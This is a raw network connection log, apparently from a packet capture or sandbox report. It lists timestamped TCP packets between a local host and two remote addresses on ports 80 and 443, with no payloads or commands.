Dec 19, 2024 14:10:29.003376007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.004156113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.004230976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.004232883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.004285097 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.005172014 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.005228996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.005269051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.005317926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.006017923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.006068945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.006072044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.006122112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.006942034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.006980896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.007004976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.007036924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.016239882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.016311884 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.016498089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.016562939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.016701937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.016767025 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.016834021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.016885996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.017740011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.017797947 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.017870903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.018107891 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.018959045 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.019015074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.019069910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.019859076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.019925117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.019943953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.019973993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.020746946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.020801067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.020956039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.021008015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.021718025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.021779060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.021779060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.021941900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.022808075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.022866964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.022913933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.022968054 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.023757935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.023864031 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.023921967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.024760008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.024821043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.024861097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.024916887 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.025732040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.025787115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.025827885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.025937080 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.026681900 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.026748896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.026797056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.026845932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.027770042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.027832031 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.027864933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.027913094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.028773069 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.028834105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.028877974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.028923035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.029767036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.029813051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.029869080 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.030778885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.030841112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.030886889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.030930996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.031853914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.031913996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.031955004 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.032063007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.032854080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.032911062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.032991886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.033046007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.033885956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.033937931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.033982038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.034030914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.035051107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.035120964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.035204887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.035254955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.036180019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.036237955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.036379099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.036463976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.037440062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.037539005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.037595987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.038105011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.038127899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.038153887 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.038182974 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.039190054 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.039249897 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.039263010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.039319992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.040170908 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.040226936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.040246964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.040299892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.041029930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.041083097 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.041224957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.041276932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.042032957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.042083979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.042115927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.042165995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.043044090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.043106079 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.043148041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.043199062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.044064045 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.044120073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.044169903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.044228077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.045061111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.045114994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.045177937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.045229912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.046050072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.046107054 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.046175003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.046231031 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.047207117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.047272921 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.047485113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.047544956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.048151016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.048216105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.048238039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.048286915 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.049124002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.049182892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.049221992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.049273968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.050182104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.050259113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.050259113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.050318956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.051173925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.051285982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.051350117 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.052248955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.052318096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.052390099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.052449942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.054054022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.054102898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.054171085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.054280043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.054369926 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.054421902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.055355072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.055418968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.055429935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.055493116 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.056278944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.056340933 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.056411028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.056480885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.057344913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.057413101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.057430983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.057564020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.058337927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.058392048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.058460951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.058518887 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.059359074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.059416056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.059505939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.059571981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.060373068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.060448885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.060512066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.060573101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.061449051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.061512947 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.061521053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.061582088 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.062587023 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.063445091 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.121510983 CET	49808	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:29.121542931 CET	443	49808	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:29.121644974 CET	49808	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:29.121974945 CET	49808	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:29.121993065 CET	443	49808	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:29.193656921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.193892002 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.193916082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.194044113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.194062948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.194098949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.194159985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.194305897 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.194808006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.194870949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.194950104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.195008039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.196073055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.196135998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.196170092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.196230888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.197164059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.197232962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.197235107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.197289944 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.197932005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.198039055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.198080063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.198132038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.198921919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.199032068 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.199035883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.199183941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.208513975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.208581924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.208671093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.208729029 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.209084034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.209146976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.209158897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.209248066 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.209988117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.210048914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.210129976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.210263968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.211080074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.211293936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.211297035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.211349010 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.212102890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.212172031 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.212234974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.212359905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.213172913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.213226080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.213236094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.213291883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.214070082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.214128017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.214167118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.214220047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.215044975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.215142012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.215198994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.215257883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.216114998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.216177940 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.216233969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.216290951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.217125893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.217186928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.217255116 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.217314005 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.218136072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.218199968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.218250036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.218327045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.219160080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.219224930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.219293118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.219348907 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.220251083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.220303059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.220364094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.221189976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.221241951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.221324921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.221719980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.222248077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.222337008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.222398043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.223227978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.223292112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.223330021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.223382950 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.224309921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.224360943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.224375963 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.224417925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.225311995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.225378036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.225403070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.225541115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.226284027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.226349115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.226417065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.226489067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.227355957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.227407932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.227423906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.227457047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.228337049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.228400946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.228468895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.228557110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.229355097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.229424953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.229492903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.229656935 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.230348110 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.230422974 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.230474949 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.230643034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.231424093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.231492043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.231611967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.231734037 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.232409000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.232471943 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.232538939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.232713938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.233429909 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.233494043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.233565092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.233659983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.234493017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.234568119 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.234627008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.235517979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.235584021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.235609055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.235661983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.236502886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.236569881 CET	49800	80	192.168.2.4	31.41.244.11
